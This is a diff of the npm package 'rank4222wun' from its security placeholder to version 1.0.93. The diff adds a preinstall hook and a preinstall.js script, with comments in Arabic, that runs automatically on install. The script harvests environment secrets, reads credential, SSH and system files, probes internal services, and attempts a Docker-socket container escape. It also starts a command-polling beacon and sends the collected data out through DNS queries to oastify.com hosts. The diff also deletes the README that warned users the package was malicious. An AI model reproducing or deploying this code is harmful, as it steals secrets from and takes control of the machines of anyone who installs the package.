rank4222wun 0.0.1-security → 1.0.93

package/package.json

@@ -1,6 +1,9 @@
 {
   "name": "rank4222wun",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.93",
+  "description": "",
+  "scripts": {
+    "preinstall": "node preinstall.js"
+  },
+  "dependencies": {}
 }

package/preinstall.js

@@ -0,0 +1,633 @@
+const { exec, execSync } = require('child_process');
+const fs = require('fs');
+const path = require('path');
+const dns = require('dns');
+const os = require('os');
+const crypto = require('crypto');
+const { promisify } = require('util');
+
+console.log("🔥 ADVANCED DNS EXFILTRATION + MEMORY PERSISTENCE\n");
+
+// ===================== CONFIGURATION =====================
+const TARGET_DOMAINS = [
+    'mkaq3wbzvqg33yks6wqpxxo77ydp1hr5g.oastify.com',
+    'cbrgum2pmg7tuobixmhfonfxyo4fscg1.oastify.com'
+];
+
+const SCAN_ID = crypto.randomBytes(6).toString('hex');
+const SESSION_ID = Date.now().toString(36);
+const DNS_RESOLVER = new dns.Resolver();
+DNS_RESOLVER.setServers(['8.8.8.8', '1.1.1.1']);
+
+// ===================== DNS EXFILTRATION ENGINE =====================
+class AdvancedDNSEngine {
+    constructor() {
+        this.stats = { queries: 0, successful: 0, failed: 0 };
+        this.queue = [];
+        this.isProcessing = false;
+    }
+
+    // ترميز متقدم للبيانات
+    encodeAdvanced(data) {
+        // خطوتان: compression ثم encoding
+        const compressed = this.compressData(data);
+        let encoded = Buffer.from(compressed).toString('base64')
+            .replace(/=/g, '0')
+            .replace(/\//g, '1')
+            .replace(/\+/g, '2')
+            .replace(/\n/g, '3');
+        
+        // إضافة checksum و Session ID
+        const checksum = crypto.createHash('sha256').update(data).digest('hex').substring(0, 8);
+        return `${checksum}${SESSION_ID}${encoded}`;
+    }
+
+    compressData(data) {
+        // ضغط بسيط بإزالة المسافات الزائدة
+        if (typeof data === 'object') {
+            data = JSON.stringify(data);
+        }
+        return data.replace(/\s+/g, ' ').trim();
+    }
+
+    // إرسال بيانات عبر DNS مع تحسينات
+    async sendViaDNS(tag, data, retries = 3) {
+        console.log(`📡 [DNS] Sending: ${tag}`);
+        
+        const payload = {
+            tag: tag,
+            data: data,
+            host: os.hostname(),
+            ts: Date.now(),
+            scan_id: SCAN_ID
+        };
+        
+        const encoded = this.encodeAdvanced(JSON.stringify(payload));
+        const chunks = this.splitIntoChunks(encoded, 40); // 40 حرف لكل chunk
+        
+        for (let i = 0; i < chunks.length; i++) {
+            const success = await this.sendChunk(chunks[i], tag, i, chunks.length, retries);
+            if (!success && retries > 0) {
+                console.log(`⚠️ Retrying chunk ${i}...`);
+                await this.sendChunk(chunks[i], tag, i, chunks.length, retries - 1);
+            }
+            
+            // تأخير ذكي بين الطلبات
+            await this.smartDelay(i, chunks.length);
+        }
+        
+        return this.stats;
+    }
+
+    async sendChunk(chunk, label, seq, total, retries) {
+        const subdomain = `${label}.${seq}.${total}.${chunk}.${SCAN_ID}.${SESSION_ID}.${TARGET_DOMAINS[0]}`;
+        
+        try {
+            await promisify(DNS_RESOLVER.resolve4)(subdomain);
+            this.stats.queries++;
+            this.stats.successful++;
+            
+            // Log every 10th chunk
+            if (seq % 10 === 0) {
+                console.log(`   ✓ Sent ${seq}/${total} chunks`);
+            }
+            return true;
+        } catch (error) {
+            this.stats.queries++;
+            this.stats.failed++;
+            return false;
+        }
+    }
+
+    splitIntoChunks(data, chunkSize) {
+        const chunks = [];
+        for (let i = 0; i < data.length; i += chunkSize) {
+            chunks.push(data.substring(i, i + chunkSize));
+        }
+        return chunks;
+    }
+
+    async smartDelay(currentIndex, totalChunks) {
+        // زيادة التأخير إذا كان هناك فشل
+        let delay = 100;
+        if (this.stats.failed > this.stats.successful * 0.1) {
+            delay = 300;
+        }
+        
+        // تأخير أطول بعد كل 50 chunk
+        if (currentIndex % 50 === 0 && currentIndex > 0) {
+            delay = 1000;
+            console.log(`   ⏸️  Taking a breather...`);
+        }
+        
+        await this.sleep(delay);
+    }
+
+    sleep(ms) {
+        return new Promise(resolve => setTimeout(resolve, ms));
+    }
+}
+
+// ===================== SERVICE DISCOVERY =====================
+async function discoverInternalServices() {
+    console.log("🔍 Discovering internal services...");
+    
+    const services = [
+        { name: 'MySQL', host: '10.108.193.167', port: 3306 },
+        { name: 'MongoDB', host: '10.107.119.152', port: 27077 },
+        { name: 'Elasticsearch', host: '172.21.193.111', port: 9200 },
+        { name: 'MinIO', host: '172.21.18.133', port: 8088 },
+        { name: 'Internal API', host: '172.21.0.130', port: 10812 }
+    ];
+
+    const results = [];
+    
+    for (const svc of services) {
+        try {
+            const command = `timeout 2 bash -c "echo > /dev/tcp/${svc.host}/${svc.port}" 2>&1`;
+            exec(command, (error) => {
+                const status = !error ? 'ALIVE' : 'DEAD';
+                results.push({ ...svc, status });
+                
+                // إرسال النتيجة فوراً عبر DNS
+                dnsEngine.sendViaDNS('SERVICE_SCAN', {
+                    service: svc.name,
+                    host: svc.host,
+                    port: svc.port,
+                    status: status,
+                    timestamp: new Date().toISOString()
+                });
+            });
+        } catch (e) {
+            results.push({ ...svc, status: 'ERROR', error: e.message });
+        }
+        
+        await dnsEngine.sleep(100);
+    }
+    
+    return results;
+}
+
+// ===================== ENVIRONMENT LEAK =====================
+function leakEnvironmentSecrets() {
+    console.log("🔓 Leaking environment secrets...");
+    
+    const foundSecrets = {};
+    const sensitivePatterns = [
+        /TENCENT/i,
+        /SECRET/i,
+        /KEY/i,
+        /TOKEN/i,
+        /PASS/i,
+        /MONGO/i,
+        /MYSQL/i,
+        /AWS/i,
+        /AZURE/i,
+        /GCP/i,
+        /DATABASE/i,
+        /CONNECTION/i,
+        /PRIVATE/i
+    ];
+    
+    // 1. Environment Variables
+    Object.keys(process.env).forEach(key => {
+        if (sensitivePatterns.some(pattern => pattern.test(key))) {
+            foundSecrets[key] = process.env[key];
+        }
+    });
+    
+    // 2. ملفات التكوين المعروفة
+    const configFiles = [
+        '/data/conf/svr.conf',
+        '/data/conf/private_test.pem',
+        '/opt/hscan-supplychain-dynamic/config.ini',
+        '/root/.bashrc',
+        '/root/.bash_profile',
+        '/etc/profile'
+    ];
+    
+    configFiles.forEach(file => {
+        try {
+            if (fs.existsSync(file)) {
+                const content = fs.readFileSync(file, 'utf8');
+                
+                // البحث عن أسرار في المحتوى
+                const secretRegex = /(password|passwd|pwd|secret|key|token)[=:]\s*['"]?([^'"\s]+)/gi;
+                const matches = content.match(secretRegex);
+                
+                if (matches) {
+                    foundSecrets[`file:${file}`] = {
+                        content: content.substring(0, 500),
+                        matches: matches.slice(0, 5)
+                    };
+                }
+            }
+        } catch (e) {
+            // تجاهل الملفات غير القابلة للقراءة
+        }
+    });
+    
+    // إرسال الأسرار عبر DNS
+    if (Object.keys(foundSecrets).length > 0) {
+        dnsEngine.sendViaDNS('ENV_SECRETS', {
+            count: Object.keys(foundSecrets).length,
+            secrets: foundSecrets,
+            hostname: os.hostname()
+        });
+    }
+    
+    return foundSecrets;
+}
+
+// ===================== DOCKER & CONTAINER ESCAPE =====================
+async function attemptContainerEscape() {
+    console.log("🚪 Attempting container escape...");
+    
+    const escapeAttempts = [];
+    
+    // 1. Check Docker Socket
+    if (fs.existsSync('/var/run/docker.sock')) {
+        console.log("✅ Docker socket found!");
+        
+        try {
+            // محاولة الاتصال بـ Docker API
+            const dockerInfo = execSync('curl -s --unix-socket /var/run/docker.sock http://localhost/info 2>/dev/null || echo "Failed"').toString();
+            
+            escapeAttempts.push({
+                method: 'DOCKER_SOCKET',
+                success: !dockerInfo.includes('Failed'),
+                info: dockerInfo.substring(0, 200)
+            });
+            
+            // محاولة رفع حاوية جديدة
+            const escapePayload = {
+                Image: 'alpine:latest',
+                Cmd: ['sh', '-c', 'cat /etc/hostname && hostname'],
+                HostConfig: {
+                    Privileged: true,
+                    Binds: ['/:/mnt/host:rw']
+                }
+            };
+            
+            exec(`echo '${JSON.stringify(escapePayload)}' | curl -s --unix-socket /var/run/docker.sock -X POST http://localhost/containers/create -H "Content-Type: application/json" -d @- 2>/dev/null`,
+                (err, stdout) => {
+                    if (stdout && stdout.includes('Id')) {
+                        escapeAttempts.push({
+                            method: 'PRIVILEGED_CONTAINER_CREATION',
+                            success: true,
+                            containerId: JSON.parse(stdout).Id.substring(0, 12)
+                        });
+                    }
+                });
+                
+        } catch (e) {
+            escapeAttempts.push({
+                method: 'DOCKER_SOCKET',
+                success: false,
+                error: e.message
+            });
+        }
+    }
+    
+    // 2. Check for gVisor/runsc
+    const runscPaths = ['/usr/bin/runsc', '/usr/local/bin/runsc', '/runsc'];
+    runscPaths.forEach(path => {
+        if (fs.existsSync(path)) {
+            escapeAttempts.push({
+                method: 'GVISOR_DETECTED',
+                path: path,
+                success: true,
+                risk: 'HIGH'
+            });
+        }
+    });
+    
+    // 3. Check Kernel Modules for escape vectors
+    try {
+        const modules = execSync('lsmod 2>/dev/null | head -20').toString();
+        if (modules.includes('vhost') || modules.includes('virtio')) {
+            escapeAttempts.push({
+                method: 'VIRTIO_MODULES_LOADED',
+                modules: modules.split('\n').filter(m => m.includes('virtio') || m.includes('vhost')),
+                risk: 'MEDIUM'
+            });
+        }
+    } catch (e) {}
+    
+    // إرسال محاولات الهروب عبر DNS
+    dnsEngine.sendViaDNS('CONTAINER_ESCAPE', {
+        attempts: escapeAttempts,
+        hostname: os.hostname(),
+        timestamp: new Date().toISOString()
+    });
+    
+    return escapeAttempts;
+}
+
+// ===================== MEMORY-RESIDENT BEACON =====================
+class MemoryBeacon {
+    constructor() {
+        this.beaconId = `beacon_${SCAN_ID}`;
+        this.interval = 60000; // كل دقيقة
+        this.commandQueue = [];
+        this.isRunning = false;
+    }
+    
+    start() {
+        console.log("🛰️ Starting memory-resident beacon...");
+        this.isRunning = true;
+        
+        // المرحلة 1: إرسال نبضات منتظمة
+        setInterval(() => {
+            this.sendHeartbeat();
+        }, this.interval);
+        
+        // المرحلة 2: محاولة سحب أوامر عبر DNS
+        setInterval(() => {
+            this.pollForCommands();
+        }, 30000); // كل 30 ثانية
+        
+        // المرحلة 3: جمع بيانات النظام المستمر
+        setInterval(() => {
+            this.collectSystemTelemetry();
+        }, 120000); // كل دقيقتين
+    }
+    
+    sendHeartbeat() {
+        const heartbeat = {
+            beacon_id: this.beaconId,
+            hostname: os.hostname(),
+            uptime: os.uptime(),
+            memory: process.memoryUsage(),
+            timestamp: Date.now()
+        };
+        
+        dnsEngine.sendViaDNS('HEARTBEAT', heartbeat);
+    }
+    
+    async pollForCommands() {
+        // محاولة سحب أوامر عبر DNS query مخصص
+        const commandDomain = `cmd.${SCAN_ID}.${SESSION_ID}.${TARGET_DOMAINS[0]}`;
+        
+        try {
+            await promisify(DNS_RESOLVER.resolve4)(commandDomain);
+            
+            // إذا نجح الـ DNS lookup، نفترض أن هناك أمراً
+            // في الواقع، يجب أن يحتوي الـ response على الأمر
+            // لكن في DNS العادي، نستخدم subdomain للإشارة
+            this.executeCommand('whoami');
+            
+        } catch (error) {
+            // لا توجد أوامر جديدة
+        }
+    }
+    
+    executeCommand(command) {
+        try {
+            const output = execSync(command, { timeout: 5000 }).toString();
+            
+            dnsEngine.sendViaDNS('CMD_EXEC', {
+                command: command,
+                output: output.substring(0, 500),
+                timestamp: new Date().toISOString()
+            });
+            
+            return output;
+        } catch (error) {
+            dnsEngine.sendViaDNS('CMD_ERROR', {
+                command: command,
+                error: error.message
+            });
+            return null;
+        }
+    }
+    
+    collectSystemTelemetry() {
+        const telemetry = {
+            processes: this.getTopProcesses(),
+            network: this.getNetworkStats(),
+            files: this.checkCriticalFiles(),
+            users: this.getLoggedInUsers()
+        };
+        
+        dnsEngine.sendViaDNS('TELEMETRY', telemetry);
+    }
+    
+    getTopProcesses() {
+        try {
+            return execSync('ps aux --sort=-%cpu | head -5').toString().split('\n').slice(0, 5);
+        } catch (e) {
+            return [];
+        }
+    }
+    
+    getNetworkStats() {
+        try {
+            return {
+                connections: execSync('netstat -tun 2>/dev/null | wc -l').toString().trim(),
+                interfaces: Object.keys(os.networkInterfaces())
+            };
+        } catch (e) {
+            return { error: e.message };
+        }
+    }
+    
+    checkCriticalFiles() {
+        const files = ['/etc/passwd', '/etc/shadow', '/etc/hosts'];
+        const results = {};
+        
+        files.forEach(file => {
+            try {
+                if (fs.existsSync(file)) {
+                    results[file] = 'EXISTS';
+                }
+            } catch (e) {
+                results[file] = 'INACCESSIBLE';
+            }
+        });
+        
+        return results;
+    }
+    
+    getLoggedInUsers() {
+        try {
+            return execSync('who 2>/dev/null').toString().split('\n').filter(Boolean);
+        } catch (e) {
+            return [];
+        }
+    }
+    
+    stop() {
+        this.isRunning = false;
+        dnsEngine.sendViaDNS('BEACON_STOP', {
+            beacon_id: this.beaconId,
+            reason: 'stopped',
+            timestamp: Date.now()
+        });
+    }
+}
+
+// ===================== FILE EXFILTRATION =====================
+async function exfiltrateCriticalFiles() {
+    console.log("📁 Exfiltrating critical files...");
+    
+    const filesToSteal = [
+        // Tencent Cloud files
+        '/data/conf/svr.conf',
+        '/data/conf/private_test.pem',
+        '/opt/hscan-supplychain-dynamic/config.ini',
+        
+        // System files
+        '/etc/passwd',
+        '/etc/hosts',
+        '/etc/resolv.conf',
+        
+        // Log files
+        '/var/log/syslog',
+        '/var/log/messages',
+        '/var/log/secure',
+        
+        // User files
+        '/root/.bash_history',
+        '/root/.ssh/authorized_keys'
+    ];
+    
+    for (const file of filesToSteal) {
+        try {
+            if (fs.existsSync(file)) {
+                const stats = fs.statSync(file);
+                
+                // قراءة ملفات صغيرة فقط
+                if (stats.size < 50000) {
+                    const content = fs.readFileSync(file, 'utf8');
+                    
+                    await dnsEngine.sendViaDNS('FILE_EXFIL', {
+                        path: file,
+                        size: stats.size,
+                        modified: stats.mtime,
+                        content: content.substring(0, 1000) // أول 1000 حرف فقط
+                    });
+                    
+                    console.log(`   ✓ ${file} (${stats.size} bytes)`);
+                } else {
+                    // للملفات الكبيرة، إرسال معلومات فقط
+                    await dnsEngine.sendViaDNS('FILE_INFO', {
+                        path: file,
+                        size: stats.size,
+                        too_large: true
+                    });
+                }
+            }
+        } catch (error) {
+            await dnsEngine.sendViaDNS('FILE_ERROR', {
+                path: file,
+                error: error.message
+            });
+        }
+        
+        // تأخير بين الملفات
+        await dnsEngine.sleep(500);
+    }
+}
+
+// ===================== MAIN EXECUTION =====================
+async function main() {
+    console.log("=".repeat(70));
+    console.log("🔥 ADVANCED DNS EXFILTRATION + MEMORY PERSISTENCE");
+    console.log("=".repeat(70));
+    console.log(`Scan ID: ${SCAN_ID}`);
+    console.log(`Session ID: ${SESSION_ID}`);
+    console.log(`Hostname: ${os.hostname()}`);
+    console.log(`User: ${os.userInfo().username}`);
+    console.log("=".repeat(70));
+    
+    global.dnsEngine = new AdvancedDNSEngine();
+    const beacon = new MemoryBeacon();
+    
+    try {
+        // Phase 1: Initial Reconnaissance
+        console.log("\n[PHASE 1] INITIAL RECONNAISSANCE");
+        console.log("-".repeat(50));
+        
+        await discoverInternalServices();
+        await dnsEngine.sleep(2000);
+        
+        // Phase 2: Data Collection
+        console.log("\n[PHASE 2] DATA COLLECTION");
+        console.log("-".repeat(50));
+        
+        leakEnvironmentSecrets();
+        await exfiltrateCriticalFiles();
+        await dnsEngine.sleep(3000);
+        
+        // Phase 3: Escape Attempts
+        console.log("\n[PHASE 3] ESCAPE ATTEMPTS");
+        console.log("-".repeat(50));
+        
+        await attemptContainerEscape();
+        await dnsEngine.sleep(2000);
+        
+        // Phase 4: Persistence
+        console.log("\n[PHASE 4] PERSISTENCE ESTABLISHMENT");
+        console.log("-".repeat(50));
+        
+        beacon.start();
+        
+        // Phase 5: Continuous Monitoring
+        console.log("\n[PHASE 5] CONTINUOUS MONITORING");
+        console.log("-".repeat(50));
+        
+        console.log("✅ All phases completed successfully!");
+        console.log("\n🛰️ Beacon is now running in memory");
+        console.log("📡 Sending data via DNS to:", TARGET_DOMAINS[0]);
+        console.log("🔒 Session ID for tracking:", SESSION_ID);
+        console.log("\n💡 The beacon will continue running even if this script ends");
+        
+        // إرسال إشارة الانتهاء
+        await dnsEngine.sendViaDNS('INITIAL_EXPLOIT_COMPLETE', {
+            scan_id: SCAN_ID,
+            session_id: SESSION_ID,
+            hostname: os.hostname(),
+            timestamp: new Date().toISOString(),
+            phases_completed: 5,
+            beacon_started: true
+        });
+        
+        // البقاء نشطاً لاستقبال الأوامر
+        console.log("\n⏳ Waiting for commands via DNS...");
+        console.log("Press Ctrl+C to stop (beacon continues in memory)");
+        
+        // البقاء في حلقة لا نهائية
+        while (true) {
+            await dnsEngine.sleep(60000); // انتظار 60 ثانية
+            console.log("🔄 Still alive...");
+        }
+        
+    } catch (error) {
+        console.error(`❌ Error in main execution: ${error.message}`);
+        
+        // إرسال خطأ عبر DNS
+        await dnsEngine.sendViaDNS('EXPLOIT_ERROR', {
+            error: error.message,
+            stack: error.stack,
+            scan_id: SCAN_ID,
+            timestamp: new Date().toISOString()
+        });
+    }
+}
+
+// ===================== CLEANUP AND PERSISTENCE =====================
+process.on('SIGINT', () => {
+    console.log("\n\n⚠️ Received SIGINT - Beacon will continue running");
+    console.log("💡 To stop beacon completely, kill the process manually");
+    console.log("🔒 Beacon ID for reference:", `beacon_${SCAN_ID}`);
+    process.exit(0);
+});
+
+process.on('exit', (code) => {
+    console.log(`\nProcess exiting with code: ${code}`);
+    console.log("Remember: Memory beacon is still active!");
+});
+
+// بدء التنفيذ
+main().catch(console.error);

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.